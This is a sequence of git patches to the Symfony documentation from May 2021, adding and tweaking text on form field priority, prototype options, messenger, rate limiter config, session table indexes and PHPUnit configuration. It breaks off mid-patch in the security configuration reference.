 2 files changed, 13 insertions(+)
 create mode 100644 reference/forms/types/options/priority.rst.inc

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 43a5a398bdf..f77d0f11cd0 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -48,6 +48,7 @@ on all types for which ``FormType`` is the parent.
 |                           | - `translation_domain`_                                            |
 |                           | - `label_translation_parameters`_                                  |
 |                           | - `attr_translation_parameters`_                                   |
+|                           | - `priority`_                                                      |
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | This value is not valid.                                           |
 +---------------------------+--------------------------------------------------------------------+
@@ -189,3 +190,5 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 .. include:: /reference/forms/types/options/label_translation_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/attr_translation_parameters.rst.inc
+
+.. include:: /reference/forms/types/options/priority.rst.inc
diff --git a/reference/forms/types/options/priority.rst.inc b/reference/forms/types/options/priority.rst.inc
new file mode 100644
index 00000000000..e836f1f752f
--- /dev/null
+++ b/reference/forms/types/options/priority.rst.inc
@@ -0,0 +1,10 @@
+priority
+~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+    Allows you to set the field rendering priority. This option will affect
+    the view order only, sorting all fields in order of importance instead of
+    simply numerical order, i.e. fields with higher priority will be rendered
+    first, fields with lower priority will be rendered last and fields with
+    equal priority will keep the original order.

From 04316b25f22b64db069551f7a0e0b1fb5596cff5 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Mon, 10 May 2021 00:16:58 -0400
Subject: [PATCH 2176/7107] Documenting prototype options

---
 components/options_resolver.rst | 49 +++++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 747132b516e..7e803995ff4 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -717,6 +717,55 @@ In same way, parent options can access to the nested options as normal arrays::
     The fact that an option is defined as nested means that you must pass
     an array of values to resolve it at runtime.
 
+Prototype Options
+~~~~~~~~~~~~~~~~~
+
+There are situations where you will have to resolve and validate a set of
+options that may repeat many times within another option. Let's imagine a
+``connections`` option that will accept an array of database connections
+with ``host``, ``database``, ``user`` and ``password`` each.
+
+To achieve it, you can establish the nested definition of this ``connections``
+option as prototype::
+
+    $resolver->setDefault('connections', function (OptionsResolver $connResolver) {
+        $connResolver
+            ->setPrototype(true)
+            ->setRequired(['host', 'database'])
+            ->setDefaults(['user' => 'root', 'password' => null]);
+    });
+
+According to the prototype definition in the example above, it is possible
+to have multiple connection arrays like following::
+
+    $resolver->resolve([
+        'connections' => [
+            'default' => [
+                'host' => '127.0.0.1',
+                'database' => 'symfony',
+            ],
+            'test' => [
+                'host' => '127.0.0.1',
+                'database' => 'symfony_test',
+                'user' => 'test',
+                'password' => 'test',
+            ],
+            // ...
+        ],
+    ]);
+
+The array keys (``default``, ``test``, etc.) of this prototype option are
+validation-free and can be any valid key you want to differentiate the connections.
+
+.. note::
+
+    A prototype option can only be defined inside a nested option and
+    during its resolution it will expect an array of array.
+
+.. versionadded:: 5.3
+
+    The ``setPrototype()`` method was introduced in Symfony 5.3.
+
 Deprecating the Option
 ~~~~~~~~~~~~~~~~~~~~~~
 

From ac05a6ef72f703c20ce959bb1c5f1377bc8ba51f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 May 2021 09:28:02 +0200
Subject: [PATCH 2177/7107] Minor tweaks

---
 components/options_resolver.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 7e803995ff4..5b32a612a51 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -720,13 +720,16 @@ In same way, parent options can access to the nested options as normal arrays::
 Prototype Options
 ~~~~~~~~~~~~~~~~~
 
+.. versionadded:: 5.3
+
+    Prototype options were introduced in Symfony 5.3.
+
 There are situations where you will have to resolve and validate a set of
 options that may repeat many times within another option. Let's imagine a
 ``connections`` option that will accept an array of database connections
 with ``host``, ``database``, ``user`` and ``password`` each.
 
-To achieve it, you can establish the nested definition of this ``connections``
-option as prototype::
+The best way to implement this is to define the ``connections`` option as prototype::
 
     $resolver->setDefault('connections', function (OptionsResolver $connResolver) {
         $connResolver
@@ -736,7 +739,7 @@ option as prototype::
     });
 
 According to the prototype definition in the example above, it is possible
-to have multiple connection arrays like following::
+to have multiple connection arrays like the following::
 
     $resolver->resolve([
         'connections' => [
@@ -755,16 +758,13 @@ to have multiple connection arrays like following::
     ]);
 
 The array keys (``default``, ``test``, etc.) of this prototype option are
-validation-free and can be any valid key you want to differentiate the connections.
+validation-free and can be any arbitrary value that helps differentiate the
+connections.
 
 .. note::
 
     A prototype option can only be defined inside a nested option and
-    during its resolution it will expect an array of array.
-
-.. versionadded:: 5.3
-
-    The ``setPrototype()`` method was introduced in Symfony 5.3.
+    during its resolution it will expect an array of arrays.
 
 Deprecating the Option
 ~~~~~~~~~~~~~~~~~~~~~~

From 8f8b1e8430ed7fa8069714a55afc49392fe55692 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 11 May 2021 12:48:28 +0200
Subject: [PATCH 2178/7107] Minor tweaks

---
 reference/forms/types/options/priority.rst.inc | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/reference/forms/types/options/priority.rst.inc b/reference/forms/types/options/priority.rst.inc
index e836f1f752f..8f53a05c9ab 100644
--- a/reference/forms/types/options/priority.rst.inc
+++ b/reference/forms/types/options/priority.rst.inc
@@ -3,8 +3,14 @@ priority
 
 **type**: ``integer`` **default**: ``0``
 
-    Allows you to set the field rendering priority. This option will affect
-    the view order only, sorting all fields in order of importance instead of
-    simply numerical order, i.e. fields with higher priority will be rendered
-    first, fields with lower priority will be rendered last and fields with
-    equal priority will keep the original order.
+.. versionadded:: 5.3
+
+    The ``priority`` option was introduced in Symfony 5.3.
+
+Fields are rendered in the same order as they are included in the form. This
+option changes the field rendering priority, allowing you to display fields
+earlier or later than their original order.
+
+This option will affect the view order only. The higher this priority, the
+earlier the field will be rendered. Priority can also be negative and fields
+with the same priority will keep their original order.

From 42d1f7958b7626baf3b1e0c23f413c539cc8ff12 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Tue, 11 May 2021 08:11:56 -0300
Subject: [PATCH 2179/7107] Add a note about `messenger:stop-workers` command

---
 messenger.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 526017c0093..ea301c44d33 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -493,6 +493,15 @@ On production, there are a few important things to think about:
     new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
+.. note::
+
+    If your deploy strategy involves the creation of new target directories, you
+    should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>`
+    configuration option in order to let this command use always the same cache namespace
+    between deployments. Otherwise, the ``cache.app`` pool will use the value of the
+    ``kernel.project_dir`` parameter as base for the namespace, which will lead to
+    different namespaces each time a new deployment is made.
+
 Prioritized Transports
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 9358d8f7f72fa9b04166c6d4e3d9c7a7a63bd934 Mon Sep 17 00:00:00 2001
From: Maxim Tugaev <tugmaks@yandex.ru>
Date: Tue, 11 May 2021 17:57:47 +0300
Subject: [PATCH 2180/7107] Update experimental_authenticators.rst

https://github.com/symfony/symfony/blob/5.x/UPGRADE-5.2.md#security
---
 security/experimental_authenticators.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 027b1087d1d..cdcb40b8541 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -120,7 +120,7 @@ unauthenticated access (e.g. the login page):
     .. code-block:: php
 
         // config/packages/security.php
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
+        use Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter;
 
         $container->loadFromExtension('security', [
             'enable_authenticator_manager' => true,
@@ -128,7 +128,7 @@ unauthenticated access (e.g. the login page):
             // ...
             'access_control' => [
                 // allow unauthenticated users to access the login form
-                ['path' => '^/admin/login', 'roles' => AccessListener::PUBLIC_ACCESS],
+                ['path' => '^/admin/login', 'roles' => AuthenticatedVoter::PUBLIC_ACCESS],
 
                 // but require authentication for all other admin routes
                 ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],

From f40c6522bae5a84f1a7c78ae3532642c6f68a703 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 12 May 2021 20:50:08 +0200
Subject: [PATCH 2181/7107] [HttpKernel] Minor Fix

---
 components/http_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 9a1d5a31049..3fd76780295 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -516,7 +516,7 @@ Handling Exceptions: the ``kernel.exception`` Event
 
 If an exception is thrown at any point inside ``HttpKernel::handle()``, another
 event - ``kernel.exception`` is thrown. Internally, the body of the ``handle()``
-function is wrapped in a try-catch block. When any exception is thrown, the
+method is wrapped in a try-catch block. When any exception is thrown, the
 ``kernel.exception`` event is dispatched so that your system can somehow respond
 to the exception.
 

From 4b19645b4c40c13e75f1001c1947fb019bc1ed1c Mon Sep 17 00:00:00 2001
From: iamvar <iamvar@gmail.com>
Date: Wed, 12 May 2021 21:50:42 +0300
Subject: [PATCH 2182/7107] remove unused inc files

---
 .../service_container/_my_mailer.rst.inc      | 33 -------------------
 reference/forms/types/options/scale.rst.inc   |  9 -----
 security/_supportsToken.rst.inc               | 10 ------
 3 files changed, 52 deletions(-)
 delete mode 100644 _includes/service_container/_my_mailer.rst.inc
 delete mode 100644 reference/forms/types/options/scale.rst.inc
 delete mode 100644 security/_supportsToken.rst.inc

diff --git a/_includes/service_container/_my_mailer.rst.inc b/_includes/service_container/_my_mailer.rst.inc
deleted file mode 100644
index 01eafdfe87a..00000000000
--- a/_includes/service_container/_my_mailer.rst.inc
+++ /dev/null
@@ -1,33 +0,0 @@
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            app.mailer:
-                class:        App\Mailer
-                arguments:    [sendmail]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="app.mailer" class="App\Mailer">
-                    <argument>sendmail</argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Mailer;
-
-        $container->register('app.mailer', Mailer::class)
-            ->addArgument('sendmail');
diff --git a/reference/forms/types/options/scale.rst.inc b/reference/forms/types/options/scale.rst.inc
deleted file mode 100644
index 0d2ec3d6dbc..00000000000
--- a/reference/forms/types/options/scale.rst.inc
+++ /dev/null
@@ -1,9 +0,0 @@
-``scale``
-~~~~~~~~~
-
-**type**: ``integer`` **default**: Locale-specific (usually around ``3``)
-
-This specifies how many decimals will be allowed until the field rounds
-the submitted value (via ``rounding_mode``). For example, if ``scale`` is set
-to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
-``20.12`` (depending on your `rounding_mode`_).
diff --git a/security/_supportsToken.rst.inc b/security/_supportsToken.rst.inc
deleted file mode 100644
index e4403123a01..00000000000
--- a/security/_supportsToken.rst.inc
+++ /dev/null
@@ -1,10 +0,0 @@
-After Symfony calls ``createToken()``, it will then call ``supportsToken()``
-on your class (and any other authentication listeners) to figure out who should
-handle the token. This is just a way to allow several authentication mechanisms
-to be used for the same firewall (that way, you can for instance first try
-to authenticate the user via a certificate or an API key and fall back to
-a form login).
-
-Essentially, you need to make sure that this method returns ``true`` for a
-token that has been created by ``createToken()``. Your logic should probably
-look exactly like this example.

From 82c2108bf3bce8863a1578dd18aed7a636ec3a4c Mon Sep 17 00:00:00 2001
From: Stefan Grootscholten <stefan.grootscholten@webpower.nl>
Date: Fri, 14 May 2021 19:52:07 +0200
Subject: [PATCH 2183/7107] Adds a description to the exchange arguments

The description contains the alternate-exchange as example.
---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e66e5219896..aa40f23a3f8 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1023,7 +1023,8 @@ The transport has a number of options:
 ``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
 ``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
 ``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
-``exchange[arguments]``
+``exchange[arguments]``                       Extra arguments for the exchange i.e.
+                                              alternate-exchange
 ``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
                                               specified on the message
 ``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``

From 87dbab9c039c826db035d8443e95cbae3463a15e Mon Sep 17 00:00:00 2001
From: Artyum <artyum@protonmail.com>
Date: Sat, 15 May 2021 13:52:28 +0400
Subject: [PATCH 2184/7107] [Rate Limiter] Added missing opening single quotes

Added the missing opening single quotes in the PHP config example
---
 rate_limiter.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index c95b96161a4..87cd5fe59d1 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -410,7 +410,7 @@ Use the ``cache_pool`` option to override the cache used by a specific limiter
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 
@@ -484,7 +484,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 

From 57aa49a4a0d7899a2b3aacbd8684852b865af437 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 16 May 2021 14:29:29 +0200
Subject: [PATCH 2185/7107] Fix syntax error

---
 rate_limiter.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index c95b96161a4..87f61c140ac 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -178,7 +178,7 @@ enforce different levels of service (free or paid):
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // use 'sliding_window' if you prefer that policy
                     'policy' => 'fixed_window',
@@ -484,7 +484,7 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
 
         // config/packages/rate_limiter.php
         $container->loadFromExtension('framework', [
-            rate_limiter' => [
+            'rate_limiter' => [
                 'anonymous_api' => [
                     // ...
 

From 6d438c93155588df4e9ae9b279fda2bd6342ee51 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 16 May 2021 14:37:48 +0200
Subject: [PATCH 2186/7107] [CI] Dont use the special respository for
 docs-builder

---
 _build/composer.json | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index 3f1d6049e4b..4934e45625f 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -1,9 +1,6 @@
 {
     "minimum-stability": "dev",
     "prefer-stable": true,
-    "repositories": [
-        { "type": "git", "url": "https://github.com/weaverryan/docs-builder" }
-    ],
     "config": {
         "platform": {
             "php": "7.4.14"
@@ -16,7 +13,7 @@
     "require": {
         "php": ">=7.4",
         "symfony/console": "^5.2",
-        "symfony/docs-builder": "^0.15.0",
+        "symfony-tools/docs-builder": "^0.15.0",
         "symfony/process": "^5.2"
     }
 }

From e4ddf567f2f1a20d6986dc89c124b09c5f44298b Mon Sep 17 00:00:00 2001
From: Roman Tymoshyk <tymoshyk.roman@gmail.com>
Date: Fri, 14 May 2021 16:23:09 +0300
Subject: [PATCH 2187/7107] Fixed array notation for yaml file in
 session/database.rst

---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index f7a5b002dbb..4f7e84e9a30 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -92,7 +92,7 @@ and ``RedisProxy``:
                     # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
                     # which define the prefix to use for the keys to avoid collision on the Redis server 
                     # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
-                    # - { 'prefix' => 'my_prefix', 'ttl' => 600 }
+                    # - { 'prefix': 'my_prefix', 'ttl': 600 }
 
     .. code-block:: xml
 

From 365f4c52d4e963ae513c468a73c30215c7323f74 Mon Sep 17 00:00:00 2001
From: Jess <code@jessinthe.cloud>
Date: Fri, 14 May 2021 22:28:52 -0400
Subject: [PATCH 2188/7107] Update deprecated PHPUnit schema & doc links

PHPUnit gives "Warning: Your XML configuration validates against a deprecated schema."
Running the suggested `./vendor/bin/phpunit --migrate-configuration` updated phpunit.xml.dist and fixed the warning. The resulting XML is the update here.

The links to PHPUnit are also outdated; updated to link to the current stable (English) release
---
 create_framework/unit_testing.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index cff94d1087b..9390879150c 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -13,27 +13,28 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8" ?>
+    <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/5.1/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/9.3/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
     >
+        <coverage processUncoveredFiles="true">
+            <include>
+                <directory suffix=".php">./src</directory>
+            </include>
+        </coverage>
+        
         <testsuites>
             <testsuite name="Test Suite">
                 <directory>./tests</directory>
             </testsuite>
         </testsuites>
-
-        <filter>
-            <whitelist processUncoveredFilesFromWhitelist="true">
-                <directory suffix=".php">./src</directory>
-            </whitelist>
-        </filter>
     </phpunit>
 
+
 This configuration defines sensible defaults for most PHPUnit settings; more
 interesting, the autoloader is used to bootstrap the tests, and tests will be
 stored under the ``example.com/tests/`` directory.
@@ -215,6 +216,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://phpunit.de/manual/current/en/index.html
-.. _`test doubles`: https://phpunit.de/manual/current/en/test-doubles.html
+.. _`PHPUnit`: https://phpunit.readthedocs.io/en/stable/
+.. _`test doubles`: https://phpunit.readthedocs.io/en/stable/test-doubles.html
 .. _`XDebug`: https://xdebug.org/

From be5ede7c3fb361b629a82165df9887b40c2c7473 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 May 2021 11:58:24 +0200
Subject: [PATCH 2189/7107] Remove extra blank line

---
 create_framework/unit_testing.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 9390879150c..4db1ba57b9b 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -34,7 +34,6 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
         </testsuites>
     </phpunit>
 
-
 This configuration defines sensible defaults for most PHPUnit settings; more
 interesting, the autoloader is used to bootstrap the tests, and tests will be
 stored under the ``example.com/tests/`` directory.

From 40f3f86b955846839973af2cf13477fc9e2324f4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 11 May 2021 13:16:18 +0200
Subject: [PATCH 2190/7107] Unifying wording to "configuration parameter"

---
 best_practices.rst |  2 +-
 routing.rst        | 12 ++++++------
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 8917b619106..ba58ea2bd8f 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -130,7 +130,7 @@ Use Constants to Define Options that Rarely Change
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configuration options like the number of items to display in some listing rarely
-change. Instead of defining them as :ref:`service container parameters <configuration-parameters>`,
+change. Instead of defining them as :ref:`configuration parameters <configuration-parameters>`,
 define them as PHP constants in the related classes. Example::
 
     // src/Entity/Post.php
diff --git a/routing.rst b/routing.rst
index fefe3a190a3..bda19021338 100644
--- a/routing.rst
+++ b/routing.rst
@@ -269,7 +269,7 @@ arbitrary matching logic:
              *     condition="context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
              * )
              *
-             * expressions can also include config parameters:
+             * expressions can also include configuration parameters:
              * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
              */
             public function contact(): Response
@@ -285,7 +285,7 @@ arbitrary matching logic:
             path:       /contact
             controller: 'App\Controller\DefaultController::contact'
             condition:  "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
-            # expressions can also include config parameters:
+            # expressions can also include configuration parameters:
             # condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
 
     .. code-block:: xml
@@ -299,7 +299,7 @@ arbitrary matching logic:
 
             <route id="contact" path="/contact" controller="App\Controller\DefaultController::contact">
                 <condition>context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'</condition>
-                <!-- expressions can also include config parameters: -->
+                <!-- expressions can also include configuration parameters: -->
                 <!-- <condition>request.headers.get('User-Agent') matches '%app.allowed_browsers%'</condition> -->
             </route>
         </routes>
@@ -314,7 +314,7 @@ arbitrary matching logic:
             $routes->add('contact', '/contact')
                 ->controller([DefaultController::class, 'contact'])
                 ->condition('context.getMethod() in ["GET", "HEAD"] and request.headers.get("User-Agent") matches "/firefox/i"')
-                // expressions can also include config parameters:
+                // expressions can also include configuration parameters:
                 // 'request.headers.get("User-Agent") matches "%app.allowed_browsers%"'
             ;
         };
@@ -575,7 +575,7 @@ URL                       Route          Parameters
 .. tip::
 
     Route requirements (and route paths too) can include
-    :ref:`container parameters <configuration-parameters>`, which is useful to
+    :ref:`configuration parameters <configuration-parameters>`, which is useful to
     define complex regular expressions once and reuse them in multiple routes.
 
 .. tip::
@@ -1681,7 +1681,7 @@ these routes.
             [],
             [],
             ['HTTP_HOST' => 'm.example.com']
-            // or get the value from some container parameter:
+            // or get the value from some configuration parameter:
             // ['HTTP_HOST' => 'm.' . $client->getContainer()->getParameter('domain')]
         );
 

From b9f84c833fd3c82ed91b6006612de1ffd2bcb8df Mon Sep 17 00:00:00 2001
From: Christopher <chris@johnstoncode.com>
Date: Tue, 18 May 2021 09:44:40 +0100
Subject: [PATCH 2191/7107] Added indexes to sql commands used to create
 session tables

As per https://github.com/symfony/symfony/blob/4.4/UPGRADE-4.4.md#httpfoundation `PdoSessionHandler` now precalculates the expiry timestamp in the lifetime column
---
 session/database.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index 4f7e84e9a30..6a69c172c16 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -393,7 +393,8 @@ MariaDB/MySQL
         `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
         `sess_data` BLOB NOT NULL,
         `sess_lifetime` INTEGER UNSIGNED NOT NULL,
-        `sess_time` INTEGER UNSIGNED NOT NULL
+        `sess_time` INTEGER UNSIGNED NOT NULL,
+        INDEX `sessions_sess_lifetime_idx` (`sess_lifetime`)
     ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
 
 .. note::
@@ -414,6 +415,7 @@ PostgreSQL
         sess_lifetime INTEGER NOT NULL,
         sess_time INTEGER NOT NULL
     );
+    CREATE INDEX sessions_sess_time_idx ON sessions (sess_lifetime);
 
 Microsoft SQL Server
 ....................
@@ -424,7 +426,8 @@ Microsoft SQL Server
         sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
         sess_data NVARCHAR(MAX) NOT NULL,
         sess_lifetime INTEGER NOT NULL,
-        sess_time INTEGER NOT NULL
+        sess_time INTEGER NOT NULL,
+        INDEX sessions_sess_lifetime_idx (sess_lifetime)
     );
 
 Store Sessions in a NoSQL Database (MongoDB)

From f0fa111af3b9c8cfc07783b7dc5a2ad331336ce7 Mon Sep 17 00:00:00 2001
From: mismailzai <60405127+mismailzai@users.noreply.github.com>
Date: Mon, 17 May 2021 13:57:37 -0700
Subject: [PATCH 2192/7107] Update lock.rst

fix typo
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 25ad931a4e4..4cd5cdb7726 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -474,7 +474,7 @@ PHP process is terminated::
 Reliability
 -----------
 
-The component guarantees that the same resource can't be lock twice as long as
+The component guarantees that the same resource can't be locked twice as long as
 the component is used in the following way.
 
 Remote Stores

From 6f2c11ad2f64eca23cbbea6d76b6d3bd918d43f3 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Fri, 16 Apr 2021 13:43:40 +0200
Subject: [PATCH 2193/7107] [Workflow] Updated wording on comment

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index e698fd70290..aeb5e570fdc 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -248,7 +248,7 @@ machine type, use ``camelCased workflow name + StateMachine``::
     {
         private $blogPublishingWorkflow;
 
-        // this injects the blog_publishing workflow configured before
+        // Symfony will inject the blog_publishing workflow configured before
         public function __construct(WorkflowInterface $blogPublishingWorkflow)
         {
             $this->blogPublishingWorkflow = $blogPublishingWorkflow;

From e7159d793ba3150f54e446fd349713bddc15d58e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 May 2021 12:24:39 +0200
Subject: [PATCH 2194/7107] Tweak

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index aeb5e570fdc..dde07d94480 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -248,7 +248,7 @@ machine type, use ``camelCased workflow name + StateMachine``::
     {
         private $blogPublishingWorkflow;
 
-        // Symfony will inject the blog_publishing workflow configured before
+        // Symfony will inject the 'blog_publishing' workflow configured before
         public function __construct(WorkflowInterface $blogPublishingWorkflow)
         {
             $this->blogPublishingWorkflow = $blogPublishingWorkflow;

From 4de542d148eaafc59366a912119bc300ba6d7d06 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 17 May 2021 20:30:36 +0200
Subject: [PATCH 2195/7107] Update NuSOAP client example

---
 controller/soap_web_service.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 12d01cd0ec1..95c078700c1 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -38,7 +38,6 @@ In this case, the SOAP service will allow the client to call a method called
 
         public function hello($name)
         {
-
             $message = (new \Swift_Message('Hello Service'))
                 ->setTo('me@example.com')
                 ->setBody($name.' says hi!');
@@ -96,13 +95,13 @@ buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
 into the content of the Response and clear the output buffer. Finally, you're
 ready to return the ``Response``.
 
-Below is an example calling the service using a `NuSOAP`_ client. This example
+Below is an example calling the service using a native `SoapClient`_ client. This example
 assumes that the ``index()`` method in the controller above is accessible via
 the route ``/soap``::
 
     $soapClient = new \SoapClient('http://example.com/index.php/soap?wsdl');
 
-    $result = $soapClient->call('hello', ['name' => 'Scott']);
+    $result = $soapClient->__soapCall('hello', ['name' => 'Scott']);
 
 An example WSDL is below.
 
@@ -170,3 +169,4 @@ An example WSDL is below.
 .. _`NuSOAP`: https://sourceforge.net/projects/nusoap
 .. _`output buffering`: https://www.php.net/manual/en/book.outcontrol.php
 .. _`Laminas SOAP`: https://docs.laminas.dev/laminas-soap/server/
+.. _`SoapClient`: https://www.php.net/manual/en/class.soapclient.php

From 3826ca9d4132136df09c808adaf5f238f011d0a8 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Tue, 18 May 2021 10:11:32 +0200
Subject: [PATCH 2196/7107] Document logout.target

---
 reference/configuration/security.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index ea6826724ef..f2034f29a3b 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -593,6 +593,13 @@ required by the :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`
